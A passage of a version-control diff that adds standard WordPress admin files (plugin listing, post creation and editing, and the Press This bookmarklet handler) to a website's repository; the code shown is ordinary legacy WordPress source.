+	function _search_plugins_filter_callback($plugin) {
+		static $term;
+		if ( is_null($term) )
+			$term = stripslashes($_GET['s']);
+		if ( 	stripos($plugin['Name'], $term) !== false ||
+				stripos($plugin['Description'], $term) !== false ||
+				stripos($plugin['Author'], $term) !== false ||
+				stripos($plugin['PluginURI'], $term) !== false ||
+				stripos($plugin['AuthorURI'], $term) !== false ||
+				stripos($plugin['Version'], $term) !== false )
+			return true;
+		else
+			return false;
+	}
+	$status = 'search';
+	$search_plugins = array_filter($all_plugins, '_search_plugins_filter_callback');
+	$total_search_plugins = count($search_plugins);
+}
+
+$plugin_array_name = "${status}_plugins";
+if ( empty($$plugin_array_name) && $status != 'all' ) {
+	$status = 'all';
+	$plugin_array_name = "${status}_plugins";
+}
+
+$plugins = &$$plugin_array_name;
+
+//Paging.
+$total_this_page = "total_{$status}_plugins";
+$total_this_page = $$total_this_page;
+$plugins_per_page = get_user_option('plugins_per_page');
+if ( empty($plugins_per_page) )
+	$plugins_per_page = 999;
+$plugins_per_page = apply_filters('plugins_per_page', $plugins_per_page);
+
+$start = ($page - 1) * $plugins_per_page;
+
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'paged', '%#%' ),
+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => ceil($total_this_page / $plugins_per_page),
+	'current' => $page
+));
+$page_links_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s&#8211;%s of %s' ) . '</span>%s',
+	number_format_i18n( $start + 1 ),
+	number_format_i18n( min( $page * $plugins_per_page, $total_this_page ) ),
+	'<span class="total-type-count">' . number_format_i18n( $total_this_page ) . '</span>',
+	$page_links
+);
+
+/**
+ * @ignore
+ *
+ * @param array $plugins
+ * @param string $context
+ */
+function print_plugins_table($plugins, $context = '') {
+	global $page;
+?>
+<table class="widefat" cellspacing="0" id="<?php echo $context ?>-plugins-table">
+	<thead>
+	<tr>
+		<th scope="col" class="manage-column check-column"><input type="checkbox" /></th>
+		<th scope="col" class="manage-column"><?php _e('Plugin'); ?></th>
+		<th scope="col" class="manage-column"><?php _e('Description'); ?></th>
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>
+		<th scope="col" class="manage-column check-column"><input type="checkbox" /></th>
+		<th scope="col" class="manage-column"><?php _e('Plugin'); ?></th>
+		<th scope="col" class="manage-column"><?php _e('Description'); ?></th>
+	</tr>
+	</tfoot>
+
+	<tbody class="plugins">
+<?php
+
+	if ( empty($plugins) ) {
+		echo '<tr>
+			<td colspan="3">' . __('No plugins to show') . '</td>
+		</tr>';
+	}
+	foreach ( (array)$plugins as $plugin_file => $plugin_data) {
+		$actions = array();
+		$is_active = is_plugin_active($plugin_file);
+
+		if ( $is_active )
+			$actions[] = '<a href="' . wp_nonce_url('plugins.php?action=deactivate&amp;plugin=' . $plugin_file . '&amp;plugin_status=' . $context . '&amp;paged=' . $page, 'deactivate-plugin_' . $plugin_file) . '" title="' . __('Deactivate this plugin') . '">' . __('Deactivate') . '</a>';
+		else
+			$actions[] = '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;plugin=' . $plugin_file . '&amp;plugin_status=' . $context . '&amp;paged=' . $page, 'activate-plugin_' . $plugin_file) . '" title="' . __('Activate this plugin') . '" class="edit">' . __('Activate') . '</a>';
+
+		if ( current_user_can('edit_plugins') && is_writable(WP_PLUGIN_DIR . '/' . $plugin_file) )
+			$actions[] = '<a href="plugin-editor.php?file=' . $plugin_file . '" title="' . __('Open this file in the Plugin Editor') . '" class="edit">' . __('Edit') . '</a>';
+
+		if ( ! $is_active && current_user_can('delete_plugins') )
+			$actions[] = '<a href="' . wp_nonce_url('plugins.php?action=delete-selected&amp;checked[]=' . $plugin_file . '&amp;plugin_status=' . $context . '&amp;paged=' . $page, 'bulk-manage-plugins') . '" title="' . __('Delete this plugin') . '" class="delete">' . __('Delete') . '</a>';
+
+		$actions = apply_filters( 'plugin_action_links', $actions, $plugin_file, $plugin_data, $context );
+		$actions = apply_filters( "plugin_action_links_$plugin_file", $actions, $plugin_file, $plugin_data, $context );
+		$action_count = count($actions);
+		$class = $is_active ? 'active' : 'inactive';
+		echo "
+	<tr class='$class'>
+		<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($plugin_file) . "' /></th>
+		<td class='plugin-title'><strong>{$plugin_data['Name']}</strong></td>
+		<td class='desc'><p>{$plugin_data['Description']}</p></td>
+	</tr>
+	<tr class='$class second'>
+		<td></td>
+		<td class='plugin-title'>";
+		echo '<div class="row-actions-visible">';
+		foreach ( $actions as $action => $link ) {
+			$sep = end($actions) == $link ? '' : ' | ';
+			echo "<span class='$action'>$link$sep</span>";
+		}
+		echo "</div></td>
+		<td class='desc'>";
+		$plugin_meta = array();
+		if ( !empty($plugin_data['Version']) )
+			$plugin_meta[] = sprintf(__('Version %s'), $plugin_data['Version']);
+		if ( !empty($plugin_data['Author']) ) {
+			$author = $plugin_data['Author'];
+			if ( !empty($plugin_data['AuthorURI']) )
+				$author = '<a href="' . $plugin_data['AuthorURI'] . '" title="' . __( 'Visit author homepage' ) . '">' . $plugin_data['Author'] . '</a>';
+			$plugin_meta[] = sprintf( __('By %s'), $author );
+		}
+		if ( ! empty($plugin_data['PluginURI']) )
+			$plugin_meta[] = '<a href="' . $plugin_data['PluginURI'] . '" title="' . __( 'Visit plugin site' ) . '">' . __('Visit plugin site') . '</a>';
+
+		$plugin_meta = apply_filters('plugin_row_meta', $plugin_meta, $plugin_file, $plugin_data, $context);
+		echo implode(' | ', $plugin_meta);
+		echo "</td>
+	</tr>\n";
+
+		do_action( 'after_plugin_row', $plugin_file, $plugin_data, $context );
+		do_action( "after_plugin_row_$plugin_file", $plugin_file, $plugin_data, $context );
+	}
+?>
+	</tbody>
+</table>
+<?php
+} //End print_plugins_table()
+
+/**
+ * @ignore
+ *
+ * @param string $context
+ */
+function print_plugin_actions($context, $field_name = 'action' ) {
+?>
+	<div class="alignleft actions">
+		<select name="<?php echo $field_name; ?>">
+			<option value="" selected="selected"><?php _e('Bulk Actions'); ?></option>
+	<?php if ( 'active' != $context ) : ?>
+			<option value="activate-selected"><?php _e('Activate'); ?></option>
+	<?php endif; ?>
+	<?php if ( 'inactive' != $context && 'recent' != $context ) : ?>
+			<option value="deactivate-selected"><?php _e('Deactivate'); ?></option>
+	<?php endif; ?>
+	<?php if ( current_user_can('delete_plugins') && ( 'active' != $context ) ) : ?>
+			<option value="delete-selected"><?php _e('Delete'); ?></option>
+	<?php endif; ?>
+		</select>
+		<input type="submit" name="doaction_active" value="<?php esc_attr_e('Apply'); ?>" class="button-secondary action" />
+	<?php if( 'recent' == $context ) : ?>
+		<input type="submit" name="clear-recent-list" value="<?php esc_attr_e('Clear List') ?>" class="button-secondary" />
+	<?php endif; ?>
+	</div>
+<?php
+}
+?>
+
+<form method="get" action="">
+<p class="search-box">
+	<label class="screen-reader-text" for="plugin-search-input"><?php _e( 'Search Plugins' ); ?>:</label>
+	<input type="text" id="plugin-search-input" name="s" value="<?php _admin_search_query(); ?>" />
+	<input type="submit" value="<?php esc_attr_e( 'Search Plugins' ); ?>" class="button" />
+</p>
+</form>
+
+<form method="post" action="<?php echo admin_url('plugins.php') ?>">
+<?php wp_nonce_field('bulk-manage-plugins') ?>
+<input type="hidden" name="plugin_status" value="<?php echo esc_attr($status) ?>" />
+<input type="hidden" name="paged" value="<?php echo esc_attr($page) ?>" />
+
+<ul class="subsubsub">
+<?php
+$status_links = array();
+$class = ( 'all' == $status ) ? ' class="current"' : '';
+$status_links[] = "<li><a href='plugins.php?plugin_status=all' $class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_all_plugins, 'plugins' ), number_format_i18n( $total_all_plugins ) ) . '</a>';
+if ( ! empty($active_plugins) ) {
+	$class = ( 'active' == $status ) ? ' class="current"' : '';
+	$status_links[] = "<li><a href='plugins.php?plugin_status=active' $class>" . sprintf( _n( 'Active <span class="count">(%s)</span>', 'Active <span class="count">(%s)</span>', $total_active_plugins ), number_format_i18n( $total_active_plugins ) ) . '</a>';
+}
+if ( ! empty($recent_plugins) ) {
+	$class = ( 'recent' == $status ) ? ' class="current"' : '';
+	$status_links[] = "<li><a href='plugins.php?plugin_status=recent' $class>" . sprintf( _n( 'Recently Active <span class="count">(%s)</span>', 'Recently Active <span class="count">(%s)</span>', $total_recent_plugins ), number_format_i18n( $total_recent_plugins ) ) . '</a>';
+}
+if ( ! empty($inactive_plugins) ) {
+	$class = ( 'inactive' == $status ) ? ' class="current"' : '';
+	$status_links[] = "<li><a href='plugins.php?plugin_status=inactive' $class>" . sprintf( _n( 'Inactive <span class="count">(%s)</span>', 'Inactive <span class="count">(%s)</span>', $total_inactive_plugins ), number_format_i18n( $total_inactive_plugins ) ) . '</a>';
+}
+if ( ! empty($upgrade_plugins) ) {
+	$class = ( 'upgrade' == $status ) ? ' class="current"' : '';
+	$status_links[] = "<li><a href='plugins.php?plugin_status=upgrade' $class>" . sprintf( _n( 'Upgrade Available <span class="count">(%s)</span>', 'Upgrade Available <span class="count">(%s)</span>', $total_upgrade_plugins ), number_format_i18n( $total_upgrade_plugins ) ) . '</a>';
+}
+if ( ! empty($search_plugins) ) {
+	$class = ( 'search' == $status ) ? ' class="current"' : '';
+	$term = isset($_REQUEST['s']) ? urlencode(stripslashes($_REQUEST['s'])) : '';
+	$status_links[] = "<li><a href='plugins.php?s=$term' $class>" . sprintf( _n( 'Search Results <span class="count">(%s)</span>', 'Search Results <span class="count">(%s)</span>', $total_search_plugins ), number_format_i18n( $total_search_plugins ) ) . '</a>';
+}
+echo implode( " |</li>\n", $status_links ) . '</li>';
+unset( $status_links );
+?>
+</ul>
+
+<div class="tablenav">
+<?php
+if ( $page_links )
+	echo '<div class="tablenav-pages">', $page_links_text, '</div>';
+
+print_plugin_actions($status);
+?>
+</div>
+<div class="clear"></div>
+<?php
+	if ( $total_this_page > $plugins_per_page )
+		$plugins = array_slice($plugins, $start, $plugins_per_page);
+
+	print_plugins_table($plugins, $status);
+?>
+<div class="tablenav">
+<?php
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links_text</div>";
+
+print_plugin_actions($status, "action2");
+?>
+</div>
+</form>
+
+<?php if ( empty($all_plugins) ) : ?>
+<p><?php _e('You do not appear to have any plugins available at this time.') ?></p>
+<?php endif; ?>
+
+</div>
+
+<?php
+include('admin-footer.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/post-new.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/post-new.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/post-new.php	(revision 44)
@@ -0,0 +1,40 @@
+<?php
+/**
+ * New Post Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once('admin.php');
+$title = __('Add New Post');
+$parent_file = 'edit.php';
+$editing = true;
+wp_enqueue_script('autosave');
+wp_enqueue_script('post');
+if ( user_can_richedit() )
+	wp_enqueue_script('editor');
+add_thickbox();
+wp_enqueue_script('media-upload');
+wp_enqueue_script('word-count');
+
+if ( ! current_user_can('edit_posts') ) {
+	require_once ('./admin-header.php'); ?>
+<div class="wrap">
+<p><?php printf(__('Since you&#8217;re a newcomer, you&#8217;ll have to wait for an admin to add the <code>edit_posts</code> capability to your user, in order to be authorized to post.<br />
+You can also <a href="mailto:%s?subject=Promotion?">e-mail the admin</a> to ask for a promotion.<br />
+When you&#8217;re promoted, just reload this page and you&#8217;ll be able to blog. :)'), get_option('admin_email')); ?>
+</p>
+</div>
+<?php
+	include('admin-footer.php');
+	exit();
+}
+
+// Show post form.
+$post = get_default_post_to_edit();
+include('edit-form-advanced.php');
+
+include('admin-footer.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/post.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/post.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/post.php	(revision 44)
@@ -0,0 +1,224 @@
+<?php
+/**
+ * Edit post administration panel.
+ *
+ * Manage Post actions: post, edit, delete, etc.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$parent_file = 'edit.php';
+$submenu_file = 'edit.php';
+
+wp_reset_vars(array('action', 'safe_mode', 'withcomments', 'posts', 'content', 'edited_post_title', 'comment_error', 'profile', 'trackback_url', 'excerpt', 'showcomments', 'commentstart', 'commentend', 'commentorder'));
+
+/**
+ * Redirect to previous page.
+ *
+ * @param int $post_ID Optional. Post ID.
+ */
+function redirect_post($post_ID = '') {
+	global $action;
+
+	$referredby = '';
+	if ( !empty($_POST['referredby']) ) {
+		$referredby = preg_replace('|https?://[^/]+|i', '', $_POST['referredby']);
+		$referredby = remove_query_arg('_wp_original_http_referer', $referredby);
+	}
+	$referer = preg_replace('|https?://[^/]+|i', '', wp_get_referer());
+
+	if ( !empty($_POST['mode']) && 'bookmarklet' == $_POST['mode'] ) {
+		$location = $_POST['referredby'];
+	} elseif ( !empty($_POST['mode']) && 'sidebar' == $_POST['mode'] ) {
+		if ( isset($_POST['saveasdraft']) )
+			$location = 'sidebar.php?a=c';
+		elseif ( isset($_POST['publish']) )
+			$location = 'sidebar.php?a=b';
+	} elseif ( ( isset($_POST['save']) || isset($_POST['publish']) ) ) {
+		if ( isset( $_POST['publish'] ) ) {
+			if ( 'pending' == get_post_status( $post_ID ) )
+				$location = add_query_arg( 'message', 8, get_edit_post_link( $post_ID, 'url' ) );
+			else
+				$location = add_query_arg( 'message', 6, get_edit_post_link( $post_ID, 'url' ) );
+		} else {
+			$location = add_query_arg( 'message', 1, get_edit_post_link( $post_ID, 'url' ) );
+		}
+	} elseif (isset($_POST['addmeta']) && $_POST['addmeta']) {
+		$location = add_query_arg( 'message', 2, wp_get_referer() );
+		$location = explode('#', $location);
+		$location = $location[0] . '#postcustom';
+	} elseif (isset($_POST['deletemeta']) && $_POST['deletemeta']) {
+		$location = add_query_arg( 'message', 3, wp_get_referer() );
+		$location = explode('#', $location);
+		$location = $location[0] . '#postcustom';
+	} elseif ($action == 'editattachment') {
+		$location = 'attachments.php';
+	} elseif ( 'post-quickpress-save-cont' == $_POST['action'] ) {
+		$location = "post.php?action=edit&post=$post_ID&message=7";
+	} else {
+		$location = add_query_arg( 'message', 4, get_edit_post_link( $post_ID, 'url' ) );
+	}
+
+	wp_redirect( $location );
+}
+
+if ( isset( $_POST['deletepost'] ) )
+	$action = 'delete';
+elseif ( isset($_POST['wp-preview']) && 'dopreview' == $_POST['wp-preview'] )
+	$action = 'preview';
+
+switch($action) {
+case 'postajaxpost':
+case 'post':
+case 'post-quickpress-publish':
+case 'post-quickpress-save':
+	check_admin_referer('add-post');
+
+	if ( 'post-quickpress-publish' == $action )
+		$_POST['publish'] = 'publish'; // tell write_post() to publish
+
+	if ( 'post-quickpress-publish' == $action || 'post-quickpress-save' == $action ) {
+		$_POST['comment_status'] = get_option('default_comment_status');
+		$_POST['ping_status'] = get_option('default_ping_status');
+	}
+
+	if ( !empty( $_POST['quickpress_post_ID'] ) ) {
+		$_POST['post_ID'] = (int) $_POST['quickpress_post_ID'];
+		$post_ID = edit_post();
+	} else {
+		$post_ID = 'postajaxpost' == $action ? edit_post() : write_post();
+	}
+
+	if ( 0 === strpos( $action, 'post-quickpress' ) ) {
+		$_POST['post_ID'] = $post_ID;
+		// output the quickpress dashboard widget
+		require_once(ABSPATH . 'wp-admin/includes/dashboard.php');
+		wp_dashboard_quick_press();
+		exit;
+	}
+
+	redirect_post($post_ID);
+	exit();
+	break;
+
+case 'edit':
+	$editing = true;
+
+	if ( empty( $_GET['post'] ) ) {
+		wp_redirect("post.php");
+		exit();
+	}
+	$post_ID = $p = (int) $_GET['post'];
+	$post = get_post($post_ID);
+
+	if ( empty($post->ID) ) wp_die( __('You attempted to edit a post that doesn&#8217;t exist. Perhaps it was deleted?') );
+
+	if ( 'post' != $post->post_type ) {
+		wp_redirect( get_edit_post_link( $post->ID, 'url' ) );
+		exit();
+	}
+
+	wp_enqueue_script('post');
+	if ( user_can_richedit() )
+		wp_enqueue_script('editor');
+	add_thickbox();
+	wp_enqueue_script('media-upload');
+	wp_enqueue_script('word-count');
+	wp_enqueue_script( 'admin-comments' );
+	enqueue_comment_hotkeys_js();
+
+	if ( current_user_can('edit_post', $post_ID) ) {
+		if ( $last = wp_check_post_lock( $post->ID ) ) {
+			$last_user = get_userdata( $last );
+			$last_user_name = $last_user ? $last_user->display_name : __('Somebody');
+			$message = sprintf( __( 'Warning: %s is currently editing this post' ), esc_html( $last_user_name ) );
+			$message = str_replace( "'", "\'", "<div class='error'><p>$message</p></div>" );
+			add_action('admin_notices', create_function( '', "echo '$message';" ) );
+		} else {
+			wp_set_post_lock( $post->ID );
+			wp_enqueue_script('autosave');
+		}
+	}
+
+	$title = __('Edit Post');
+
+	if ( !current_user_can('edit_post', $post_ID) )
+		die ( __('You are not allowed to edit this post.') );
+
+	$post = get_post_to_edit($post_ID);
+
+	include('edit-form-advanced.php');
+
+	break;
+
+case 'editattachment':
+	$post_id = (int) $_POST['post_ID'];
+
+	check_admin_referer('update-attachment_' . $post_id);
+
+	// Don't let these be changed
+	unset($_POST['guid']);
+	$_POST['post_type'] = 'attachment';
+
+	// Update the thumbnail filename
+	$newmeta = wp_get_attachment_metadata( $post_id, true );
+	$newmeta['thumb'] = $_POST['thumb'];
+
+	wp_update_attachment_metadata( $post_id, $newmeta );
+
+case 'editpost':
+	$post_ID = (int) $_POST['post_ID'];
+	check_admin_referer('update-post_' . $post_ID);
+
+	$post_ID = edit_post();
+
+	redirect_post($post_ID); // Send user on their way while we keep working
+
+	exit();
+	break;
+
+case 'delete':
+	$post_id = (isset($_GET['post']))  ? intval($_GET['post']) : intval($_POST['post_ID']);
+	check_admin_referer('delete-post_' . $post_id);
+
+	$post = & get_post($post_id);
+
+	if ( !current_user_can('delete_post', $post_id) )
+		wp_die( __('You are not allowed to delete this post.') );
+
+	if ( $post->post_type == 'attachment' ) {
+		if ( ! wp_delete_attachment($post_id) )
+			wp_die( __('Error in deleting...') );
+	} else {
+		if ( !wp_delete_post($post_id) )
+			wp_die( __('Error in deleting...') );
+	}
+
+	$sendback = wp_get_referer();
+	if (strpos($sendback, 'post.php') !== false) $sendback = admin_url('edit.php?deleted=1');
+	elseif (strpos($sendback, 'attachments.php') !== false) $sendback = admin_url('attachments.php');
+	else $sendback = add_query_arg('deleted', 1, $sendback);
+	wp_redirect($sendback);
+	exit();
+	break;
+
+case 'preview':
+	check_admin_referer( 'autosave', 'autosavenonce' );
+
+	$url = post_preview();
+
+	wp_redirect($url);
+	exit();
+	break;
+
+default:
+	wp_redirect('edit.php');
+	exit();
+	break;
+} // end switch
+include('admin-footer.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/press-this.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/press-this.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/press-this.php	(revision 44)
@@ -0,0 +1,562 @@
+<?php
+/**
+ * Press This Display and Handler.
+ *
+ * @package WordPress
+ * @subpackage Press_This
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
+
+if ( ! current_user_can('edit_posts') )
+	wp_die( __( 'Cheatin&#8217; uh?' ) );
+
+/**
+ * Convert characters.
+ *
+ * @package WordPress
+ * @subpackage Press_This
+ * @since 2.6.0
+ *
+ * @param string $text
+ * @return string
+ */
+function aposfix($text) {
+	$translation_table[chr(34)] = '&quot;';
+	$translation_table[chr(38)] = '&';
+	$translation_table[chr(39)] = '&apos;';
+	return preg_replace("/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/","&amp;" , strtr($text, $translation_table));
+}
+
+/**
+ * Press It form handler.
+ *
+ * @package WordPress
+ * @subpackage Press_This
+ * @since 2.6.0
+ *
+ * @return int Post ID
+ */
+function press_it() {
+	// define some basic variables
+	$quick['post_status'] = 'draft'; // set as draft first
+	$quick['post_category'] = isset($_REQUEST['post_category']) ? $_REQUEST['post_category'] : null;
+	$quick['tax_input'] = isset($_REQUEST['tax_input']) ? $_REQUEST['tax_input'] : '';
+	$quick['post_title'] = isset($_REQUEST['title']) ? $_REQUEST['title'] : '';
+	$quick['post_content'] = '';
+
+	// insert the post with nothing in it, to get an ID
+	$post_ID = wp_insert_post($quick, true);
+	$content = isset($_REQUEST['content']) ? $_REQUEST['content'] : '';
+
+	$upload = false;
+	if( !empty($_REQUEST['photo_src']) && current_user_can('upload_files') )
+		foreach( (array) $_REQUEST['photo_src'] as $key => $image)
+			// see if files exist in content - we don't want to upload non-used selected files.
+			if( strpos($_REQUEST['content'], $image) !== false ) {
+				$desc = isset($_REQUEST['photo_description'][$key]) ? $_REQUEST['photo_description'][$key] : '';
+				$upload = media_sideload_image($image, $post_ID, $desc);
+
+				// Replace the POSTED content <img> with correct uploaded ones. Regex contains fix for Magic Quotes
+				if( !is_wp_error($upload) ) $content = preg_replace('/<img ([^>]*)src=\\\?(\"|\')'.preg_quote($image, '/').'\\\?(\2)([^>\/]*)\/*>/is', $upload, $content);
+			}
+
+	// set the post_content and status
+	$quick['post_status'] = isset($_REQUEST['publish']) ? 'publish' : 'draft';
+	$quick['post_content'] = $content;
+	// error handling for $post
+	if ( is_wp_error($post_ID)) {
+		wp_die($id);
+		wp_delete_post($post_ID);
+	// error handling for media_sideload
+	} elseif ( is_wp_error($upload)) {
+		wp_die($upload);
+		wp_delete_post($post_ID);
+	} else {
+		$quick['ID'] = $post_ID;
+		wp_update_post($quick);
+	}
+	return $post_ID;
+}
+
+// For submitted posts.
+if ( isset($_REQUEST['action']) && 'post' == $_REQUEST['action'] ) {
+	check_admin_referer('press-this');
+	$post_ID = press_it();
+	$posted =  $post_ID;
+} else {
+	$post_ID = 0;
+}
+
+// Set Variables
+$title = isset($_GET['t']) ? esc_html(aposfix(stripslashes($_GET['t']))) : '';
+$selection = isset($_GET['s']) ? trim( aposfix( stripslashes($_GET['s']) ) ) : '';
+if ( ! empty($selection) ) {
+	$selection = preg_replace('/(\r?\n|\r)/', '</p><p>', $selection);
+	$selection = '<p>'.str_replace('<p></p>', '', $selection).'</p>';
+}
+$url = isset($_GET['u']) ? esc_url($_GET['u']) : '';
+$image = isset($_GET['i']) ? $_GET['i'] : '';
+
+if ( !empty($_REQUEST['ajax']) ) {
+switch ($_REQUEST['ajax']) {
+	case 'video': ?>
+		<script type="text/javascript" charset="utf-8">
+			jQuery('.select').click(function() {
+				append_editor(jQuery('#embed-code').val());
+				jQuery('#extra_fields').hide();
+				jQuery('#extra_fields').html('');
+			});
+			jQuery('.close').click(function() {
+				jQuery('#extra_fields').hide();
+				jQuery('#extra_fields').html('');
+			});
+		</script>
+		<div class="postbox">
+		<h2><label for="embed-code"><?php _e('Embed Code') ?></label></h2>
+		<div class="inside">
+			<textarea name="embed-code" id="embed-code" rows="8" cols="40"><?php echo format_to_edit($selection, true); ?></textarea>
+			<p id="options"><a href="#" class="select button"><?php _e('Insert Video'); ?></a> <a href="#" class="close button"><?php _e('Cancel'); ?></a></p>
+		</div>
+		</div>
+		<?php break;
+
+	case 'photo_thickbox': ?>
+		<script type="text/javascript" charset="utf-8">
+			jQuery('.cancel').click(function() {
+				tb_remove();
+			});
+			jQuery('.select').click(function() {
+				image_selector();
+			});
+		</script>
+		<h3 class="tb"><label for="this_photo_description"><?php _e('Description') ?></label></h3>
+		<div class="titlediv">
+		<div class="titlewrap">
+			<input id="this_photo_description" name="photo_description" class="tbtitle text" onkeypress="if(event.keyCode==13) image_selector();" value="<?php echo esc_attr($title);?>"/>
+		</div>
+		</div>
+
+		<p class="centered"><input type="hidden" name="this_photo" value="<?php echo esc_attr($image); ?>" id="this_photo" />
+			<a href="#" class="select"><img src="<?php echo esc_url($image); ?>" alt="<?php echo esc_attr(__('Click to insert.')); ?>" title="<?php echo esc_attr(__('Click to insert.')); ?>" /></a></p>
+
+		<p id="options"><a href="#" class="select button"><?php _e('Insert Image'); ?></a> <a href="#" class="cancel button"><?php _e('Cancel'); ?></a></p>
+
+
+		<?php break;
+
+	case 'photo_thickbox_url': ?>
+		<script type="text/javascript" charset="utf-8">
+			jQuery('.cancel').click(function() {
+				tb_remove();
+			});
+
+			jQuery('.select').click(function() {
+				image_selector();
+			});
+		</script>
+		<h3 class="tb"><label for="this_photo"><?php _e('URL') ?></label></h3>
+		<div class="titlediv">
+			<div class="titlewrap">
+			<input id="this_photo" name="this_photo" class="tbtitle text" onkeypress="if(event.keyCode==13) image_selector();" />
+			</div>
+		</div>
+
+
+		<h3 class="tb"><label for="photo_description"><?php _e('Description') ?></label></h3>
+		<div id="titlediv">
+			<div class="titlewrap">
+			<input id="this_photo_description" name="photo_description" class="tbtitle text" onkeypress="if(event.keyCode==13) image_selector();" value="<?php echo esc_attr($title);?>"/>
+			</div>
+		</div>
+
+		<p id="options"><a href="#" class="select"><?php _e('Insert Image'); ?></a> | <a href="#" class="cancel"><?php _e('Cancel'); ?></a></p>
+		<?php break;
+	case 'photo_images':
+		/**
+		 * Retrieve all image URLs from given URI.
+		 *
+		 * @package WordPress
+		 * @subpackage Press_This
+		 * @since 2.6.0
+		 *
+		 * @param string $uri
+		 * @return string
+		 */
+		function get_images_from_uri($uri) {
+			if( preg_match('/\.(jpg|jpe|jpeg|png|gif)$/', $uri) && !strpos($uri,'blogger.com') )
+				return "'".$uri."'";
+			$content = wp_remote_fopen($uri);
+			if ( false === $content )
+				return '';
+			$host = parse_url($uri);
+			$pattern = '/<img ([^>]*)src=(\"|\')([^<>]+?\.(png|jpeg|jpg|jpe|gif))[^<>\'\"]*(\2)([^>\/]*)\/*>/is';
+			preg_match_all($pattern, $content, $matches);
+			if ( empty($matches[0]) )
+				return '';
+			$sources = array();
+			foreach ($matches[3] as $src) {
+				// if no http in url
+				if(strpos($src, 'http') === false)
+					// if it doesn't have a relative uri
+					if( strpos($src, '../') === false && strpos($src, './') === false && strpos($src, '/') === 0)
+						$src = 'http://'.str_replace('//','/', $host['host'].'/'.$src);
+					else
+						$src = 'http://'.str_replace('//','/', $host['host'].'/'.dirname($host['path']).'/'.$src);
+				$sources[] = esc_url($src);
+			}
+			return "'" . implode("','", $sources) . "'";
+		}
+		$url = urldecode($url);
+		$url = str_replace(' ', '%20', $url);
+		echo 'new Array('.get_images_from_uri($url).')';
+
+		break;
+
+	case 'photo_js': ?>
+		// gather images and load some default JS
+		var last = null
+		var img, img_tag, aspect, w, h, skip, i, strtoappend = "";
+			var my_src = eval(
+				jQuery.ajax({
+			   		type: "GET",
+			   		url: "<?php echo esc_url($_SERVER['PHP_SELF']); ?>",
+					cache : false,
+					async : false,
+			   		data: "ajax=photo_images&u=<?php echo urlencode($url); ?>",
+					dataType : "script"
+				}).responseText
+			);
+			if(my_src.length == 0) {
+				var my_src = eval(
+				jQuery.ajax({
+			   		type: "GET",
+			   		url: "<?php echo esc_url($_SERVER['PHP_SELF']); ?>",
+					cache : false,
+					async : false,
+			   		data: "ajax=photo_images&u=<?php echo urlencode($url); ?>",
+					dataType : "script"
+				}).responseText
+				);
+				if(my_src.length == 0) {
+					strtoappend = '<?php _e('Unable to retrieve images or no images on page.'); ?>';
+				}
+			}
+
+		for (i = 0; i < my_src.length; i++) {
+			img = new Image();
+			img.src = my_src[i];
+			img_attr = 'id="img' + i + '"';
+			skip = false;
+
+			maybeappend = '<a href="?ajax=photo_thickbox&amp;i=' + encodeURIComponent(img.src) + '&amp;u=<?php echo urlencode($url); ?>&amp;height=400&amp;width=500" title="" class="thickbox"><img src="' + img.src + '" ' + img_attr + '/></a>';
+
+			if (img.width && img.height) {
+				if (img.width >= 30 && img.height >= 30) {
+					aspect = img.width / img.height;
+					scale = (aspect > 1) ? (71 / img.width) : (71 / img.height);
+
+					w = img.width;
+					h = img.height;
+
+					if (scale < 1) {
+						w = parseInt(img.width * scale);
+						h = parseInt(img.height * scale);
+					}
+					img_attr += ' style="width: ' + w + 'px; height: ' + h + 'px;"';
+					strtoappend += maybeappend;
+				}
+			} else {
+				strtoappend += maybeappend;
+			}
+		}
+
+		function pick(img, desc) {
+			if (img) {
+				if('object' == typeof jQuery('.photolist input') && jQuery('.photolist input').length != 0) length = jQuery('.photolist input').length;
+				if(length == 0) length = 1;
+				jQuery('.photolist').append('<input name="photo_src[' + length + ']" value="' + img +'" type="hidden"/>');
+				jQuery('.photolist').append('<input name="photo_description[' + length + ']" value="' + desc +'" type="hidden"/>');
+				insert_editor( "\n\n" + encodeURI('<p style="text-align: center;"><a href="<?php echo $url; ?>"><img src="' + img +'" alt="' + desc + '" /></a></p>'));
+			}
+			return false;
+		}
+
+		function image_selector() {
+			tb_remove();
+			desc = jQuery('#this_photo_description').val();
+			src = jQuery('#this_photo').val();
+			pick(src, desc);
+			jQuery('#extra_fields').hide();
+			jQuery('#extra_fields').html('');
+			return false;
+		}
+
+		jQuery(document).ready(function() {
+			jQuery('#extra_fields').html('<div class="postbox"><h2>Photo <small id="photo_directions">(<?php _e("click images to select") ?>)</small></h2><ul id="actions"><li><a href="#" id="photo_add_url" class="thickbox button"><?php _e("Add from URL") ?> +</a></li></ul><div class="inside"><div class="titlewrap"><div id="img_container"></div></div><p id="options"><a href="#" class="close button"><?php _e('Cancel'); ?></a><a href="#" class="refresh button"><?php _e('Refresh'); ?></a></p></div>');
+			jQuery('.close').click(function() {
+				jQuery('#extra_fields').hide();
+				jQuery('#extra_fields').html('');
+			});
+			jQuery('.refresh').click(function() {
+						show('photo');
+					});
+			jQuery('#img_container').html(strtoappend);
